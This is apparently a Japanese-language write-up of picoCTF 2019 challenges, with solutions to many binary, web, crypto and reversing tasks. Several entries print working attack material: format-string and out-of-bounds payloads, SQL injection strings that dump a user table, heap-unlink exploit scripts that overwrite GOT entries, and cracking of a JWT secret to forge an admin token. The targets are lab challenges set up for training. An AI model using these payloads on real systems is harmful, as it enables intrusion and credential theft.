入力した文字列をそのままprintfの第1引数に渡しており、スタック中にはフラグが読み込まれているので、%100$sとかを適当に表示させてみれば良い。

$ for i in $(seq 64); do echo $i; echo %$i'$'s | ./vuln; done
1
input whatever string you want; then it will be printed back:

Now 
your input 
will be printed:

Segmentation fault (core dumped)
2
input whatever string you want; then it will be printed back:

Now 
your input 
will be printed:

・スヌ包ソス
 :
36
input whatever string you want; then it will be printed back:

Now 
your input 
will be printed:

%36$s

37
input whatever string you want; then it will be printed back:

Now 
your input 
will be printed:

picoCTF{str1nG_CH3353_159c98a8}

picoCTF{str1nG_CH3353_159c98a8}

vault-door-5 - Points: 300 - Solves: 2733 - Reverse Engineering

In the last challenge, you mastered octal (base 8), decimal (base 10), and hexadecimal (base 16) numbers, but this vault door uses a different change of base as well as URL encoding! The source code for this vault is here: VaultDoor5.java

You may find an encoder/decoder tool helpful, such as https://encoding.tools/
Read the wikipedia articles on URL encoding and base 64 encoding to understand how they work and what the results look like.

VaultDoor5.java
 :
    // URL encoding is meant for web pages, so any double agent spies who steal
    // our source code will think this is a web site or something, defintely not
    // vault door! Oh wait, should I have not said that in a source code
    // comment?
    //
    // -Minion #2415
    public String urlEncode(byte[] input) {
        StringBuffer buf = new StringBuffer();
        for (int i=0; i<input.length; i++) {
            buf.append(String.format("%%%2x", input[i]));
        }
        return buf.toString();
    }

    public boolean checkPassword(String password) {
        String urlEncoded = urlEncode(password.getBytes());
        String base64Encoded = base64Encode(urlEncoded.getBytes());
        String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm"
                        + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2"
                        + "JTM0JTVmJTYzJTMxJTM0JTYzJTYzJTY1JTMxJTMx";
        return base64Encoded.equals(expected);
    }

ブラウザの開発者ツールのコンソールで、

x = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm"
                        + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2"
                        + "JTM0JTVmJTYzJTMxJTM0JTYzJTYzJTY1JTMxJTMx"

decodeURI(atob(x))
"c0nv3rt1ng_fr0m_ba5e_64_c14cce11"

picoCTF{c0nv3rt1ng_fr0m_ba5e_64_c14cce11}

waves over lambda - Points: 300 - Solves: 2555 - Cryptography

We made alot of substitutions to encrypt this. Can you decrypt it? Connect with nc 2019shell1.picoctf.com 37925.

Flag is not in the usual flag format

ncで繋ぐとこのような文章が返ってくる。スペースの位置などは同じだけれど、文字は毎回変わる。

-------------------------------------------------------------------------------
wykeatcr foao lr pysa izte - iaousokwp_lr_w_yboa_ztxgdt_xtargnmyma
-------------------------------------------------------------------------------
tzohop ipydyayblcwf vtatxtjyb ntr cfo cflad ryk yi ipydya mtbzyblcwf vtatxtjyb,
 t ztkd ynkoa nozz vkynk lk ysa dlrcalwc lk flr ynk dtp, tkd rclzz aoxoxgoaod
txyke sr ynlke cy flr ezyyxp tkd catelw dotcf, nflwf ftmmokod cflacook potar
tey, tkd nflwf l rftzz dorwalgo lk lcr maymoa mztwo. iya cfo maorokc l nlzz ykzp
rtp cftc cflr ztkdynkoaiya ry no srod cy wtzz flx, tzcfysef fo ftadzp rmokc t
dtp yi flr zlio yk flr ynk orctcontr t rcatkeo cpmo, poc yko maoccp iaousokczp
cy go xoc nlcf, t cpmo tgqowc tkd blwlysr tkd tc cfo rtxo clxo rokrozorr. gsc fo
ntr yko yi cfyro rokrozorr moarykr nfy tao boap nozz wtmtgzo yi zyyvlke ticoa
cfola nyazdzp tiitlar, tkd, tmmtaokczp, ticoa kycflke ozro. ipydya mtbzyblcwf,
iya lkrctkwo, goetk nlcf kohc cy kycflke; flr orctco ntr yi cfo rxtzzorc; fo atk
cy dlko tc ycfoa xok'r ctgzor, tkd itrcokod yk cfox tr t cytdp, poc tc flr dotcf
lc tmmotaod cftc fo ftd t fskdaod cfysrtkd aysgzor lk ftad wtrf. tc cfo rtxo
clxo, fo ntr tzz flr zlio yko yi cfo xyrc rokrozorr, itkctrclwtz iozzynr lk cfo
nfyzo dlrcalwc. l aomotc, lc ntr kyc rcsmldlcpcfo xtqyalcp yi cforo itkctrclwtz
iozzynr tao rfaond tkd lkcozzleokc okysefgsc qsrc rokrozorrkorr, tkd t mowszlta
ktclyktz iyax yi lc.

文字の頻度を集計して英文の頻度と見比べ、英単語を探し、分かったところからエディタで大文字に置換していく感じで解いた。

-------------------------------------------------------------------------------
CONGRATS HERE IS YOUR FLAG - FREQUENCY_IS_C_OVER_LAMBDA_MARSBWPOPR
-------------------------------------------------------------------------------
ALEXEY FYODOROVITCH KARAMAZOV WAS THE THIRD SON OF FYODOR PAVLOVITCH KARAMAZOV,
A LAND OWNER WELL KNOWN IN OUR DISTRICT IN HIS OWN DAY, AND STILL REMEMBERED
AMONG US OWING TO HIS GLOOMY AND TRAGIC DEATH, WHICH HAPPENED THIRTEEN YEARS AGO,
AND WHICH I SHALL DESCRIBE IN ITS PROPER PLACE. FOR THE PRESENT I WILL ONLY SAY
THAT THIS LANDOWNERFOR SO WE USED TO CALL HIM, ALTHOUGH HE HARDLY SPENT A DAY OF
HIS LIFE ON HIS OWN ESTATEWAS A STRANGE TYPE, YET ONE PRETTY FREQUENTLY TO BE MET
WITH, A TYPE ABJECT AND VICIOUS AND AT THE SAME TIME SENSELESS. BUT HE WAS ONE OF
THOSE SENSELESS PERSONS WHO ARE VERY WELL CAPABLE OF LOOKING AFTER THEIR WORLDLY
AFFAIRS, AND, APPARENTLY, AFTER NOTHING ELSE. FYODOR PAVLOVITCH, FOR INSTANCE,
BEGAN WITH NEXT TO NOTHING; HIS ESTATE WAS OF THE SMALLEST; HE RAN TO DINE AT OTHER
MEN'S TABLES, AND FASTENED ON THEM AS A TOADY, YET AT HIS DEATH IT APPEARED THAT
HE HAD A HUNDRED THOUSAND ROUBLES IN HARD CASH. AT THE SAME TIME, HE WAS ALL HIS
LIFE ONE OF THE MOST SENSELESS, FANTASTICAL FELLOWS IN THE WHOLE DISTRICT.
I REPEAT, IT WAS NOT STUPIDITYTHE MAJORITY OF THESE FANTASTICAL FELLOWS ARE SHREWD
AND INTELLIGENT ENOUGHBUT JUST SENSELESSNESS, AND A PECULIAR NATIONAL FORM OF IT.

frequency_is_c_over_lambda_marsbwpopr

GoT - Points: 350 - Solves: 419 - Binary Exploitation

You can only change one address, here is the problem: program. It is also found in /problems/got_1_6a9949d39d119bd2973bdc661d78f71d on the shell server. Source.

Just change the address of the appriopiate function in the GOT table...

任意のアドレスを任意の値に書き換えてくれる。最後にexitを呼んでいるので、GOTのexitwinのアドレスに書き換えてもらう。

vuln.c
 :
void win() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAG_BUFFER,f);
  puts(buf);
  fflush(stdout);
}


int *pointer;

int main(int argc, char *argv[])
{

   puts("You can just overwrite an address, what can you do?\n");
   puts("Input address\n");
   scanf("%d",&pointer);
   puts("Input value?\n");
   scanf("%d",pointer);
   puts("The following line should print the flag\n");
   exit(0);
}
$ ./vuln
You can just overwrite an address, what can you do?

Input address

134520860
Input value?

134514118
The following line should print the flag

picoCTF{A_s0ng_0f_1C3_and_f1r3_e122890e}
Segmentation fault (core dumped)

picoCTF{A_s0ng_0f_1C3_and_f1r3_e122890e}

Irish-Name-Repo 2 - Points: 350 - Solves: 1713 - Web Exploitation

There is a website running at https://2019shell1.picoctf.com/problem/57973/ (link). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:57973

The password is being filtered.

' OR 1--とかは、「SQLi detected.」といって弾かれる。admin' --でいけた。

picoCTF{m0R3_SQL_plz_3693681d}

droids1 - Points: 350 - Solves: 457 - Reverse Engineering

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids1_0_b7f94e21c7e45e6604972f9bc3f50e24.

Try using apktool and an emulator
https://ibotpeaches.github.io/Apktool/
https://developer.android.com/studio

FlagstaffHill.smali
    .line 12
    .local v0, "password":Ljava/lang/String;
    invoke-virtual {p0, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v1

    if-eqz v1, :cond_0

    invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->fenugreek(Ljava/lang/String;)Ljava/lang/String;

パスワードはpassword

picoCTF{pining.for.the.fjords}

pointy - Points: 350 - Solves: 309 - Binary Exploitation

Exploit the function pointers in this program. It is also found in /problems/pointy_4_3b3533bd4e08119669feda53e8cb0502 on the shell server. Source.

A function pointer can be used to call any function

vuln.c
 :
struct Professor {
    char name[NAME_SIZE];
    int lastScore;
};

struct Student {
    char name[NAME_SIZE];
    void (*scoreProfessor)(struct Professor*, int);
};
 :

こんな構造体があって、教授と生徒と、その紐付けと、点数を入力していく。ProfessorStudentは同じ配列に格納されて、名前で検索。lastScorescoreProfessorが同じ位置にあるので、本来は教授の名前を入力するところで生徒の名前を入力して、点数としてwinのアドレスを書き込めば良い。

$ ./vuln 
Input the name of a student
s1
Input the name of the favorite professor of a student 
p1
Input the name of the student that will give the score 
s1
Input the name of the professor that will be scored 
s1
s1
Input the score: 
134514326
Score Given: 134514326 
Input the name of a student
s2
Input the name of the favorite professor of a student 
p2
Input the name of the student that will give the score 
s1
Input the name of the professor that will be scored 
p1
p1
Input the score: 
0
picoCTF{g1v1ng_d1R3Ct10n5_c7465fbf}
Input the name of a student

picoCTF{g1v1ng_d1R3Ct10n5_c7465fbf}

seed-sPRiNG - Points: 350 - Solves: 403 - Binary Exploitation

The most revolutionary game is finally available: seed sPRiNG is open right now! seed_spring. Connect to it with nc 2019shell1.picoctf.com 45107.

How is that program deciding what the height is?
You and the program should sync up!

数当てゲーム。

$ nc 2019shell1.picoctf.com 45107



                          #                mmmmm  mmmmm    "    mm   m   mmm
  mmm    mmm    mmm    mmm#          mmm   #   "# #   "# mmm    #"m  # m"   "
 #   "  #"  #  #"  #  #" "#         #   "  #mmm#" #mmmm"   #    # #m # #   mm
  """m  #""""  #""""  #   #          """m  #      #   "m   #    #  # # #    #
 "mmm"  "#mm"  "#mm"  "#m##         "mmm"  #      #    " mm#mm  #   ##  "mmm"



Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: 10
WRONG! Sorry, better luck next time!

乱数を時刻(秒単位)で初期化している。こんな感じで問題と同じ乱数を実装する。

rand.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(int argc, char **argv)
{
    int delta = atoi(argv[1]);
    srand(time(NULL)+delta);
    for (int i=0; i<30; i++)
       printf("%d\n", rand()%16);
}

引数にズレを取れるようにしているので、ズレを変えながらncに流し込む。

$ for i in $(seq -30 1 30); do echo $i; ./rand $i | nc 2019shell1
.picoctf.com 45107; done
-30
 :
-5



                          #                mmmmm  mmmmm    "    mm   m   mmm
  mmm    mmm    mmm    mmm#          mmm   #   "# #   "# mmm    #"m  # m"   "
 #   "  #"  #  #"  #  #" "#         #   "  #mmm#" #mmmm"   #    # #m # #   mm
  """m  #""""  #""""  #   #          """m  #      #   "m   #    #  # # #    #
 "mmm"  "#mm"  "#mm"  "#m##         "mmm"  #      #    " mm#mm  #   ##  "mmm"



Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: LEVEL (2/30)

Guess the height: LEVEL (3/30)

Guess the height: LEVEL (4/30)
 :
Guess the height: LEVEL (29/30)

Guess the height: LEVEL (30/30)

Guess the height: picoCTF{pseudo_random_number_generator_not_so_random_829c50d19ba2bdb441975c0dabfcc1c0}Congratulation! You've won! Here is your flag:

picoCTF{pseudo_random_number_generator_not_so_random_829c50d19ba2bdb441975c0dabfcc1c0}

vault-door-6 - Points: 350 - Solves: 2407 - Reverse Engineering

This vault uses an XOR encryption scheme. The source code for this vault is here: VaultDoor6.java

If X ^ Y = Z, then Z ^ Y = X. Write a program that decrypts the flag based on this fact.

VaultDoor6.java
 :
    // Dr. Evil gave me a book called Applied Cryptography by Bruce Schneier,
    // and I learned this really cool encryption system. This will be the
    // strongest vault door in Dr. Evil's entire evil volcano compound for sure!
    // Well, I didn't exactly read the *whole* book, but I'm sure there's
    // nothing important in the last 750 pages.
    //
    // -Minion #3091
    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        byte[] passBytes = password.getBytes();
        byte[] myBytes = {
            0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
            0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
            0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
            0xa , 0x65, 0x36, 0x66, 0x34, 0x67, 0x31, 0x30,
        };
        for (int i=0; i<32; i++) {
            if (((passBytes[i] ^ 0x55) - myBytes[i]) != 0) {
                return false;
            }
        }
        return true;
    }
 :
>py -2
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> X = [0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
...             0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
...             0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
...             0xa , 0x65, 0x36, 0x66, 0x34, 0x67, 0x31, 0x30,]
>>>
>>> "".join(chr(x^0x55) for x in X)
'n0t_mUcH_h4rD3r_tH4n_x0r_0c3a2de'

picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_0c3a2de}

AES-ABC - Points: 400 - Solves: 323 - Cryptography

AES-ECB is bad, so I rolled my own cipher block chaining mechanism - Addition Block Chaining! You can find the source here: aes-abc.py. The AES-ABC flag is body.enc.ppm

You probably want to figure out what the flag looks like in ECB form...

AES-ECBで暗号化して、さらに隣のブロックとの合計を出力している。後者の処理は、差分を求めて逆算できる。

solve.py
aes-abc.pyの内容をコピペ
 :
def decrypt(data):
  blocks = [data[i*16:(i+1)*16] for i in range(len(data)/16)]
  ret = ""
  for i in range(1, len(blocks)):
    p = int(blocks[i-1].encode("hex"), 16)
    c = int(blocks[i].encode("hex"), 16)
    t = (c-p)%UMAX
    ret += to_bytes(t)
  return ret

if __name__=="__main__":
    with open('body.enc.ppm', 'rb') as f:
        header, data = parse_header_ppm(f)

    c_img = decrypt(data)

    with open('flag.ppm', 'wb') as fw:
        fw.write(header)
        fw.write(c_img)

画像はppm形式で圧縮がされていない。ECBは、同じブロックを暗号化した結果は同じになる。画像ならば読める。

flag.png

picoCTF{d0Nt_r0ll_yoUr_0wN_aES}

AfterLife - Points: 400 - Solves: 132 - Binary Exploitation

Just pwn this program and get a flag. It's also found in /problems/afterlife_2_049150f2f8b03c16dc0382de6e2e2215 on the shell server. Source.

If you understood the double free, a use after free should not be hard! http://homes.sice.indiana.edu/yh33/Teaching/I433-2016/lec13-HeapAttacks.pdf

vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20

void win() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAG_BUFFER,f);
  fprintf(stdout,"%s\n",buf);
  fflush(stdout);
}

int main(int argc, char *argv[])
{
   //This is rather an artificial pieace of code taken from Secure Coding in c by Robert C. Seacord 
   char *first, *second, *third, *fourth;
   char *fifth, *sixth, *seventh;
   first=malloc(256);
   printf("Oops! a new developer copy pasted and printed an address as a decimal...\n");
   printf("%d\n",first);
   strncpy(first,argv[1],LINE_BUFFER_SIZE);
   second=malloc(256);
   third=malloc(256);
   fourth=malloc(256);
   free(first);
   free(third);
   fifth=malloc(128);
   puts("you will write on first after it was freed... an overflow will not be very useful...");
   gets(first);
   seventh=malloc(256);
   exit(0);
}

解放後のfirstに書き込んでいるのが脆弱性。

Pwngdbでヒープの状態が見られないと思ったら、mallocはバイナリ内に実装されていた。glibcと同じようだけど、tcacheが無く、セキュリティチェックも省かれている。

getsまでの流れてでfirstはsmallbinに入っている。malloc(256)firstが返るので、このときのunlinkを狙う。チャンクPを取り外すときには、P->fd->bk = P->bkP->bk->fd = P->fdが行われる。

最後にexit(0)があるので、GOTのexitwinにすれば良さそう。P->fd = free@GOT-0xcP->bk = winとすると、P->fd->bk = P->bkfree@GOT = winとなるが、P->bk->fd = P->fdで落ちる。コード領域が書き換え不可能なので、*(win+0x8) = free@GOTが実行できない。

ヒープが実行可能だった。アドレスも最初に与えられる。ということで、ヒープにjmp winを置いて、free@GOTをこのアドレスにすれば良い。

attack.py
from struct import *

first = input()
heap = first-8
payload = (
  pack("<I", 0x804d02c-0xc) +
  pack("<I", heap+0x10) +
  "\xe9" + pack("<i", 0x08048966-(heap+0x15))) # jmp win
print payload

スクリプトからプロセスを作ってパイプでやりとりするのが面倒なので、attack.pyとvulnをパイプで繋いで実行し、vulnの出力を手でコピーしてattack.pyに入力した。

問題のあるディレクトリには書き込めないので、ホームディレクトリにattack.pyを置いた。

$ python ~/attack.py | ./vuln hoge
Oops! a new developer copy pasted and printed an address as a decimal...
135610376
you will write on first after it was freed... an overflow will not be very useful...
135610376
picoCTF{what5_Aft3r_187f3d9a}

picoCTF{what5_Aft3r_187f3d9a}

Empire1 - Points: 400 - Solves: 499 - Web Exploitation

Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/4155/ (link) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155

Pay attention to the feedback you get
There is very limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.
The database gets reverted every 2 hours if you do break it, just come back later

TODOを登録できるウェブサービス。TODOにSQL Injectionがある。' || (SELECT group_concat(sql) FROM sqlite_master) || 'を入力すると、

CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) ),CREATE UNIQUE INDEX ix_user_username ON user (username),CREATE TABLE todo ( id INTEGER NOT NULL, item VARCHAR(256), user_id INTEGER, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) )

' || (SELECT group_concat(secret) FROM user) || '

Likes Oreos.,Know it all.,picoCTF{wh00t_it_a_sql_injectd75ebff4},picoCTF{wh00t_it_a_sql_injectd75ebff4},...

picoCTF{wh00t_it_a_sql_injectd75ebff4}

Irish-Name-Repo 3 - Points: 400 - Solves: 1304 - Web Exploitation

There is a secure website running at https://2019shell1.picoctf.com/problem/45112/ (link) or http://2019shell1.picoctf.com:45112. Try to see if you can login as admin!

Seems like the password is encrypted.

ユーザー名は無く、パスワードのみ。'!='' --で通った。

picoCTF{3v3n_m0r3_SQL_9a2f17b3}

JaWT Scratchpad - Points: 400 - Solves: 935 - Web Exploitation

Check the admin scratchpad! https://2019shell1.picoctf.com/problem/12283/ or http://2019shell1.picoctf.com:12283

What is that cookie?
Have you heard of JWT?

名前だけを入力してログイン。adminだと弾かれる。

CookieにJWTが書かれている。例えば、eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoia3VzYW5vIn0.s-eC-syi6Mt3oRIOXshLtMwnmYhaU_MfqOBolrGfie0で、{"typ":"JWT","alg":"HS256"}{"user":"kusano"}、署名。

JWTのuseradminにすれば良さそう。ただし、署名が付いているし、"alg":"none"も通らない。

サイトに、

You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like John!

という文言が書いてあり、Johnは https://github.com/magnumripper/JohnTheRipper へのリンク。JohnTheRipper、対応しているのか。

このスクリプトで変換。aptで入るものは対応していなかったので、上記のリポジトリからcloneしてビルド。

$ python jwt2jtr.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoia3VzYW5vIn0.s-eC-syi6Mt3oRIOXshLtMwnmYhaU_MfqOBolrGfie0 > jwt.txt
$ JohnTheRipper/run/john jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:JohnTheRipper/run/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:24:23  3/3 0g/s 15561Kp/s 15561Kc/s 15561KC/s hyjeki07..hyjammie
0g 0:00:52:28  3/3 0g/s 14321Kp/s 14321Kc/s 14321KC/s chiqsy2618..chiqdkfata
0g 0:01:03:31  3/3 0g/s 14222Kp/s 14222Kc/s 14222KC/s wvF579d..wvFrIEK
0g 0:01:03:32  3/3 0g/s 14222Kp/s 14222Kc/s 14222KC/s 5/mh0b,..5/m3lyd
0g 0:01:10:15  3/3 0g/s 14137Kp/s 14137Kc/s 14137KC/s 2f86cu0p..2f8318eb
ilovepico        (?)
1g 0:01:52:34 DONE 3/3 (2019-10-11 19:36) 0.000148g/s 13816Kp/s 13816Kc/s 13816KC/s tmjndhad2..iloviptny
Use the "--show" option to display all of the cracked passwords reliably
Session completed

$ JohnTheRipper/run/john --show jwt.txt
?:ilovepico

1 password hash cracked, 0 left

COre i7-9700Kで2時間かかった……。あとは https://jwt.io/ を使い、ilovepicoをsecretとして{"user":"admin"}をJWTに変換。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s

picoCTF{jawt_was_just_what_you_thought_9de8e25511a8841ab9ade0aa092be116}

Java Script Kiddie - Points: 400 - Solves: 584 - Web Exploitation

The image link appears broken... https://2019shell1.picoctf.com/problem/26832 or http://2019shell1.picoctf.com:26832

This is only a JavaScript problem.

JavaScriptでデータを読み込んで、keyを使って変換している。

index.html
<html>
    <head>    
        <script src="jquery-3.3.1.min.js"></script>
        <script>
            var bytes = [];
            $.get("bytes", function(resp) {
                bytes = Array.from(resp.split(" "), x => Number(x));
            });

            function assemble_png(u_in){
                var LEN = 16;
                var key = "0000000000000000";
                var shifter;
                if(u_in.length == LEN){
                    key = u_in;
                }
                var result = [];
                for(var i = 0; i < LEN; i++){
                    shifter = key.charCodeAt(i) - 48;
                    for(var j = 0; j < (bytes.length / LEN); j ++){
                        result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
                    }
                }
                while(result[result.length-1] == 0){
                    result = result.slice(0,result.length-1);
                }
                document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
                return false;
            }
        </script>

幅16バイトで改行して、列ごとに縦にずらす感じ。PNGの先頭は固定なので、探索できる。

solve.py
A = [
  0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a,
  0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52,
]

B = map(int, open("bytes").read().split())
for i in range(16):
  for j in range(16):
    if A[i]==B[j*16+i]:
      print "%x"%j,
  print

236391143[89][78]50653。4通りなので全部試せば良い。2363911438750653が正解。QRコードが出てくる。

picoCTF{4c182733af80dd49cc12d13be80d5893}

L1im1tL355 - Points: 400 - Solves: 327 - Binary Exploitation

Just pwn this program and get a flag. Its also found in /problems/l1im1tl355_5_c788f77ec6355296bf7e956581e5e265 on the shell server. Source.

An unbounded index can point anywhere!

vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define FLAG_BUFFER 128

void win() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAG_BUFFER,f);
  puts(buf);
  fflush(stdout);
}

void replaceIntegerInArrayAtIndex(unsigned int *array, int index, int value) {
   array[index] = value;
}

int main(int argc, char *argv[])
{
   int index;
   int value;
   int array[666];
   puts("Input the integer value you want to put in the array\n");
   scanf("%d",&value);
   fgetc(stdin);
   puts("Input the index in which you want to put the value\n");
   scanf("%d",&index);
   replaceIntegerInArrayAtIndex(array,index,value);
   exit(0);
}

ヒントの通り、インデックスの範囲をチェックしていないので、リターンアドレスにあたるところを書き換える。

$ ./vuln 
Input the integer value you want to put in the array

134514118
Input the index in which you want to put the value

-5
picoCTF{str1nG_CH3353_295c8b0f}
Segmentation fault (core dumped)

picoCTF{str1nG_CH3353_295c8b0f}

putsなのに引数の末尾に改行が付いているな。

picoCTF{str1nG_CH3353_295c8b0f}

Need For Speed - Points: 400 - Solves: 629 - Reverse Engineering

The name of the game is speed. Are you quick enough to solve this problem and keep it above 50 mph? need-for-speed.
https://www.youtube.com/watch?v=8piqd2BWeGI

What is the final key?

普通に実行すると、

$ ./need-for-speed
Keep this thing over 50 mph!
============================

Creating key...
Not fast enough. BOOM!

この部分で、1秒で実行を打ち切っている。

need-for-speed.txt
 :
 887:   c7 45 f4 01 00 00 00    mov    DWORD PTR [rbp-0xc],0x1
 :
 8ca:   8b 45 f4                mov    eax,DWORD PTR [rbp-0xc]
 8cd:   89 c7                   mov    edi,eax
 8cf:   e8 9c fd ff ff          call   670 <alarm@plt>
 :

バイナリエディタで01 00 00 00の部分を適当に大きな値に書き換え。

$ ./need-for-speed2
Keep this thing over 50 mph!
============================

Creating key...
Finished
Printing flag:
PICOCTF{Good job keeping bus #079e482e speeding along!}

実行時間は5秒くらい。なぜかフラグのPICOが大文字。

PICOCTF{Good job keeping bus #079e482e speeding along!}

SecondLife - Points: 400 - Solves: 131 - Binary Exploitation

Just pwn this program using a double free and get a flag. It's also found in /problems/secondlife_5_411726def4a5ca43c0a5cffa350b0479 on the shell server. Source.

ヒント無し。

vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20

void win() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAG_BUFFER,f);
  fprintf(stdout,"%s\n",buf);
  fflush(stdout);
}

int main(int argc, char *argv[])
{
   //This is rather an artificial pieace of code taken from Secure Coding in c by Robert C. Seacord 
   char *first, *second, *third, *fourth;
   char *fifth, *sixth, *seventh;
   first=malloc(256);
   printf("Oops! a new developer copy pasted and printed an address as a decimal...\n");
   printf("%d\n",first);
   fgets(first, LINE_BUFFER_SIZE, stdin);
   second=malloc(256);
   third=malloc(256);
   fourth=malloc(256);
   free(first);
   free(third);
   fifth=malloc(128);
   free(first);
   sixth=malloc(256);
   puts("You should enter the got and the shellcode address in some specific manner... an overflow will not be very useful...");
   gets(sixth);
   seventh=malloc(256);
   exit(0);
}

AfterLifeと似ているが、今度は使用中のmallocチャンクが対象。となれば、ヒープバッファオーバーフローかと思うのだけど、「an overflow will not be very useful...」。

ソースコードを見るとfirstが二重解法されている。これによって、sixthと同じチャンクが次のmalloc(256)で返される。やることはAfterLifeと同じ。攻撃コードもfirstに入力する1行が増えただけ。この部分は使っていないけど、何のためにあるのだろう。

solve.py
from struct import *

first = input()
heap = first-8
payload = (
  pack("<I", 0x804d02c-0xc) +
  pack("<I", heap+0x10) +
  "\xe9" + pack("<i", 0x08048956-(heap+0x15))) # jmp win
print "hoge"
print payload
$ python ~/attack.py | ./vuln 
Oops! a new developer copy pasted and printed an address as a decimal...
159907848
159907848
You should enter the got and the shellcode address in some specific manner... an overflow will not be very useful...
picoCTF{HeapHeapFlag_cd51d246}
Segmentation fault (core dumped)

picoCTF{HeapHeapFlag_cd51d246}

Time's Up - Points: 400 - Solves: 531 - Reverse Engineering

Time waits for no one. Can you solve this before time runs out? times-up, located in the directory at /problems/time-s-up_6_480d53541469436212e30dad5b4ce691.

Can you interact with the program using a script?

$ ./times-up
Challenge: (((((375594112) - (-1710046296)) + ((-618826847) - (-1148930644))) + (((816637905) - (-1618988145)) + ((-65795256) + (406796279)))) + ((((-1340416754) - (389521504)) + ((-1212609613) + (2095350677))) + (((-1140607643) + (-1560426072)) + ((636872896) + (1347525363)))))
Setting alarm...
Solution? Alarm clock

制限時間は5ミリ秒。スクリプトを書いてみたけど、間に合わないんだが……。

ところで、この問題は秒単位の現在時刻を元に作成されている。同じ時刻に実行されれば問題も答えも同じ。ということで、gdb経由で実行して答えが格納される領域から答えを読み出し、それを入力すれば良い。gdbで実行した時点でset gidが無効になるので、ここで制限時間を書き換えたりしてもフラグは読めない。

$ gdb ./times-up -ex 'b *generate_challenge+14' -ex 'r' -ex 'p/d $rax' -ex 'c' -ex 'q' | grep '$1 =' | awk '{print $3}'  > ~/answer.txt; ./times-up < ~/answer.txt
Challenge: ((((((-1886895680) - (561212140)) + ((-1292750162) + (1417589600))) - (((-222903188) + (-699907713)) - ((268215548) + (-655634120)))) + ((((2137055976) + (-656824035)) + (-464323727)) + ((-1093696713) + (1269363360)))) + ((((-224036864) + (-1363001529)) + ((-141408283) + (908869656))) + (((180869806) + (1351802706)) + ((441725714) - (-1252321299)))))
Setting alarm...
Solution? Congrats! Here is the flag!
picoCTF{Gotta go fast. Gotta go FAST. #1626a7fb}

直接パイプで繋がずに一度ファイルで書き出しているのは、パイプで繋ぐとgdbと同時にtimes-upが起動してしまい、gdbの処理が間に合わないから。

picoCTF{Gotta go fast. Gotta go FAST. #1626a7fb}

asm4 - Points: 400 - Solves: 421 - Reverse Engineering

What will asm4("picoCTF_d899a") return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm4_3_2774c1aa0f793d4517b90661a765e1a6.

Treat the Array argument as a pointer

今度は文字列。こんな処理。

solve.py
